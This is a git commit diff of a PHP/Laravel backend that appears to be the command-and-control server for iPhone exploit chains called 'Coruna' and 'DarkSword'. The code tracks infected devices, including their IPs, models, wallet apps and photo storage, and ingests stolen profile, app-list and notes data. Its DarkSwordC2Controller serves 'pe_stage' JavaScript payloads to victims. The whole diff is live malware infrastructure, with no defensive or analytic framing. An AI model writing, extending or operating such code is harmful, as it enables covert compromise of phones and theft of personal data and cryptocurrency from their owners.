feat: ds
This commit is contained in:
@@ -46,7 +46,7 @@ class DeviceController extends Controller
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'created_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -63,7 +63,7 @@ class DeviceController extends Controller
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'family' => $d->family ?: Device::FAMILY_CORUNA,
|
||||
'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA),
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
@@ -593,7 +593,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -605,7 +605,7 @@ class DeviceController extends Controller
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'family' => trim((string) $request->query('family', '')),
|
||||
'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
@@ -618,7 +618,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -628,8 +628,8 @@ class DeviceController extends Controller
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
|
||||
$q->where('devices.family', $filters['family']);
|
||||
if ($filters['chain'] !== null) {
|
||||
$q->where('devices.chain', $filters['chain']);
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
@@ -658,4 +658,20 @@ class DeviceController extends Controller
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function parseChainFilter(mixed $raw): ?int
|
||||
{
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === null) {
|
||||
return null;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||
return Device::CHAIN_CORUNA;
|
||||
}
|
||||
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||
return Device::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->payloadFromQueryOrJson($request);
|
||||
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
|
||||
}
|
||||
|
||||
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
||||
@@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller
|
||||
$body['pe_stage'] = $stage;
|
||||
}
|
||||
|
||||
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
|
||||
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
|
||||
if (! is_file($file)) {
|
||||
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
|
||||
}
|
||||
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
|
||||
|
||||
return $this->finish(
|
||||
$request,
|
||||
$path,
|
||||
$payload,
|
||||
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
|
||||
$body
|
||||
);
|
||||
}
|
||||
|
||||
public function register(Request $request): SymfonyResponse
|
||||
@@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller
|
||||
array $payload,
|
||||
SymfonyResponse $response,
|
||||
array|string|null $logBody = null,
|
||||
bool $ingest = true,
|
||||
): SymfonyResponse {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
if ($ingest) {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
|
||||
+10
-4
@@ -13,18 +13,18 @@ class Device extends Model
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
public const FAMILY_CORUNA = 'coruna';
|
||||
public const CHAIN_CORUNA = 1;
|
||||
|
||||
public const FAMILY_DARKSWORD = 'darksword';
|
||||
public const CHAIN_DARKSWORD = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'family' => self::FAMILY_CORUNA,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -33,10 +33,16 @@ class Device extends Model
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'chain' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function isDarkSword(): bool
|
||||
{
|
||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
|
||||
@@ -42,8 +42,8 @@ class DarkSwordIngestAdapter
|
||||
public function ingest(Request $request, string $path, array $payload): void
|
||||
{
|
||||
match ($path) {
|
||||
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => $this->ingestLog($request, $payload),
|
||||
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => null,
|
||||
'/a' => $this->ingestProfile($request, $payload),
|
||||
'/u' => $this->ingestApps($request, $payload),
|
||||
'/nb' => $this->ingestNotes($request, $payload),
|
||||
@@ -277,7 +277,7 @@ class DarkSwordIngestAdapter
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
@@ -299,7 +299,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
|
||||
@@ -27,7 +27,7 @@ class DsBeaconQueue
|
||||
|
||||
public function seed(Device $device): void
|
||||
{
|
||||
if ($device->family !== Device::FAMILY_DARKSWORD) {
|
||||
if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user